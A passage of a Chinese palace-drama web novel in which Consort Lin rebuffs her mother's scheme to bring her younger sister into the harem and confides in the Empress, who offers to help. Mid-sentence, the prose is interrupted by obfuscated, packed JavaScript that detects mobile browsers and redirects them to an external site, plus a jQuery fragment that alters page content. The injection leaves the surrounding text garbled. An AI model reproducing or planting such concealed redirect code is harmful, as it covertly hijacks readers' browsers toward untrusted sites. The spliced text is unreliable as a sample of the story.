而萧灼也分明是认可她们这做法的,先后得知她们患了奇奇怪怪的不宜侍寝的病时,都是当即让皇后厚赏一番。 林丽妃和方美人早就铁了心,会一直一直“病”下去。 林夫人看一眼次女,说起另一事:“在宫里,皇后娘娘都与妹妹共事一夫,别人自是可以效法为之。双儿会参加选秀,虽说她资质好,出不了岔子,你在宫里也要帮忙打点一番。” 长女因着是从东宫开始跟随皇帝的,又因林家有侯爵,位分比之旁人便很高。问题在于,长女进宫前百般不愿,一通要死要活地闹腾,进宫后对娘家根本是不愿理会,为家族张罗好处更是想都不要想。 与其指望对家族有心结的在高位做摆设的长女,还不如将次女也送进宫。一来皇后看着长女的情面,对次女也会予以照拂;二来次女对皇帝满心爱慕,无比向往宫中锦衣玉食的好光景,定会全心全意服侍皇帝,稍微吹吹枕头风,皇帝就能免去林家逐辈降爵的事。 而如此一来,长女不也落得轻松? ——林夫人翻来覆去地想,也想不出送次女进宫有任何坏处,却不想,几句话彻底惹恼了长女。 林丽妃放下茶盏,力道有些重,“说的什么乱七八糟的话?当这里是你的林府不成?” 林夫人愕然。 林双呆住。 林丽妃甜美的面容上满是厌烦,“贺侯与贺二老爷十年前便已分家各过,如今更已分宗,皇后娘娘在宫里,以前有个并不熟稔的堂妹,如今有个与她同姓的嫔妃,仅此而已,劳烦林夫人记住。若没贺家分家的事情在先,谁会允许贺选侍进宫?一府主母,张嘴就说什么姐妹共事一夫的混账话,嫌命长了不成?” 别说她与母亲素无情分,就算母女情深,此时也要正色敲打一番。兰悠对贺选侍烦得不要不要的,林家的人全眼瞎耳聋了不成? 林夫人被长女呛声的时候不少,被这么训斥却是第一遭,一张脸涨得通红,不满地瞪着对方。 陪嫁进宫的翠柳上前一步,寒了声音:“我家娘娘好心教诲,林夫人这是什么态度?” 林丽妃轻嗤一声,“她当来本宫这儿是寻常串门呢。” 林夫人在心里把主仆两个骂了个狗血淋头,却不得不赶紧起身,行礼请罪。 林双随着告罪,软着声音道:“母亲与姐姐各有各的思量,有分歧在所难免。也是见面少的缘故,平日姐姐常唤我们进宫作伴,便不会有这种事了。” 林丽妃睨着她,“有你什么事儿?谁准你跟着进宫来请安了?还想进宫服侍皇上?真会做春秋大梦。” 林双霎时红了眼眶,转头看母亲。 林夫人听这话音儿,惊惶起来,急急地道:“双儿今年十六,符合选秀的条件……” “本宫累了。翠柳,送客。”林丽妃起身,款步走进寝殿。 翠柳唤来两名小太监,对林家母女冷冷一笑,“林夫人、林二小姐,请吧。” 母女两个再不甘,想说的话再多,也没胆子造次,随着小太监出门去。 林丽妃没好气地除掉头上珠翠,脱掉外衣,倒在床上生闷气。 犹记得,入选东宫那一日,母亲高高在上地对她说:“你总归有些福气,不枉我们苦心斡旋许久。太子妃在大事上惊才绝艳不假,私下里对你倒是没心没肺的,既知她是这性情,日后便要好生利用,在她与太子之间左右逢源并不难,听我的安排即可。” 生着那样一张端方正经的脸,说着那样恬不知耻的话。 从那一刻起,母亲再不能让她有分毫尊敬,只余鄙弃、厌憎。 她万般庆幸,自己是随着早年孀居的姑母长大,要不然,怕早被母亲潜移默化得不知情义为何物。 她又万般思念已经病故的姑母,假若姑母还在,应该会及时察觉端倪,打消父母攀龙附凤之心。 可惜,姑母毕竟是离开了。 可恨,姑母留给她一笔非常丰厚的嫁妆,她无福享用也罢了,还便宜了把自己卖了的人。 她已经百般忍耐,只想维持互不连累的情形过下去,父母却再次验证人心不足的话,又出幺蛾子。 做了这么久的软柿子,仁至义尽了。 林丽妃翻来覆去许久,忽地坐起身来,唤人服侍自己穿戴齐整。 她要去中宫告小状。 鸿嫣见到林丽妃,笑容可掬,“皇后娘娘正跟公主殿下玩儿呢,您随奴婢来。” 林丽妃笑着颔首,“皇子呢?” “皇子午睡还没醒。” 进到殿内,林丽妃听到了母女两个的欢声笑语,不自觉地扬了唇角。 软塌上,朝宁坐在贺兰悠腹部,笑得现出小白牙。 贺兰悠伸手呵女儿的痒,“小淘气,你也不怕把娘亲坐得岔气儿。” 朝宁笑得更欢,小胖手胡乱推着母亲的手,“不呵痒,昨日才说好了的。” “娘亲可没说话算数的好习惯。”贺兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850176|175817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠轻轻抓挠女儿肋部。 朝宁笑得倒在母亲身上,小身子扭成了麻花,无意间瞥见林丽妃进门,看到救星一般,“丽母妃。娘亲,丽母妃来啦。” 贺兰悠这才不再逗女儿,抱着小人儿坐起来,用手梳理一下披散着的长发,拍拍身侧,“快过来坐,陪本宫一起收拾这个不省心的兔崽子。” 朝宁咕咕地笑。 林丽妃依着规矩行礼后,坐到贺兰悠身边,握一握朝宁的小手,“殿下可真是小开心果。” 朝宁歪了歪小脑瓜,抿嘴笑着,依偎到母亲怀里。 “令堂这就走了?”贺兰悠问。 林丽妃苦笑,“走了,再不走臣妾就要被她送走了。” 贺兰悠抱起女儿,贴了贴她面颊,“去换身衣服,瞧瞧暮安醒没醒,再用些点心,好不好?” 朝宁不情愿,爱娇地搂住她颈子,“那我今天还可以来吗?” “当然可以,和暮安一起来,娘亲还要跟你学怎么玩儿翻绳呢。”贺兰悠说。人人说皇后娘娘惊才绝艳,可她对小孩子的游戏少有擅长的,自己都常纳闷儿,幼年到底是怎么过的。她的宝贝女儿则相反,一点点大,对什么游戏都是一看就会一点即通。 朝宁开心起来,“好呀,我很会教人的。” 引得殿内一帮大人都笑起来。 送走朝宁,贺兰悠遣了近前服侍的,问林丽妃:“令堂要你办什么棘手的事么?” “要臣妾给她圆白日梦才是真。”林丽妃悻悻的,将事情经过复述一遍,末了抚了抚心口,“换个心窄的,真会被她气死。来之前想着,与其这么憋屈着,不如来找娘娘告她一状。” 林家有意送嫡次女进宫,于公于私,她都该知会贺兰悠。 贺兰悠没急着继续这话题,将盛着荔枝的碧玉盘放到林丽妃面前,“你和可盈喜欢吃这个,这儿还有几筐,等下分头给你们送过去。我夏日里只喜欢吃葡萄、西瓜。”说着话,将一盘颗颗饱满的葡萄放到自己手边。 至于提到的可盈,是方美人的闺名。私下里与手帕交说话,贺兰悠自是不会拘泥于条条框框。 “荔枝明明特别好吃,你怎么会不喜欢?”林丽妃随着贺兰悠随意起来,困惑也是真心的,“而且样子也很好看啊。” 贺兰悠看一眼荔枝,给了她一个“你在开什么玩笑”的眼神,转而接上之前的话题,“需不需要我帮你做点儿什么?” 林丽妃立刻道:“当然需要,绝对不能让林双进宫,她要是进来,宫里的事会件件不落地传到林府,我也实在看不了她如今那个嘴脸。我会尽力斡旋,但万无一失是最好。” “哪儿就用得到我们斡旋了?”贺兰悠一笑,“皇上那个人,让人心寒齿冷的时候的确不少,但一些性情是不会变的。如今后宫加上我共九个,只要是与我们九个关系近的闺秀,连初选都过不了。” 说句不好听的,嫔妃之中除了林丽妃和方美人,当初都是心甘情愿又欢欣鼓舞地进到东宫,落到萧灼眼中,全是自己或家族上赶着的事情罢了。 上赶着不是买卖。 被上赶着的第一次,因着即将驾崩的先帝和种种因素,萧灼同意了,哪个门第要是想跟他来第二次那种戏码,就是自找难堪。 至于林丽妃、方美人,是萧灼与贺兰悠定情后,由意中人引见才结缘。 两女子进宫前,与他之间的情分,是实实在在的友情。 但凡正常的有些人情味儿的男人,即便昔日友人成为自己的妾室,也不能真视为妾室一般对待。更何况,那友人是自己一度爱得狂热的意中人再到枕边妻的至交。 萧灼是正常的男人,做的没有人情味儿的事情,全因前朝而起,只要后宫女子不似贺兰悠一般介入并刁难他,他都不会迁怒。 林丽妃得了准话,一颗心全然落了地,头脑也倏然清明起来,想通了诸多关节,面上漾出心安的笑。 贺兰悠吃了两颗葡萄,说:“有些话,以前我总不好意思问你,你跟令堂怎么会是那样?瞧着你们母女,真还不如可盈和她的继母更亲近。” 林丽妃蹙了蹙眉,“她要是个男子,就是道貌岸然的伪君子。这是我姑母跟她吵架时说过的话,我偷听到的。一年年过去,越来越认同,我真的以她为耻。”语毕,面露嫌恶。 这是做不得假的情态。贺兰悠真切地感受到,手帕交的生母,已成为她的阴影,但凡念及就万般不快。 “选秀的事不需我出力,给你出出闲气我倒是信手拈来,只不知道你是否同意。”贺兰悠说。 “哦?”林丽妃双眼放光,“是什么?我怎么会不同意呢,全听你的!” 贺兰悠失笑,凉凉的手摁到她脸上,掐一下她挺秀的鼻梁,“你姑母不是留给你一笔丰厚的产业么?我给你拿回来。给你的就是你的,凭什么因着进宫就变成林家的产业?”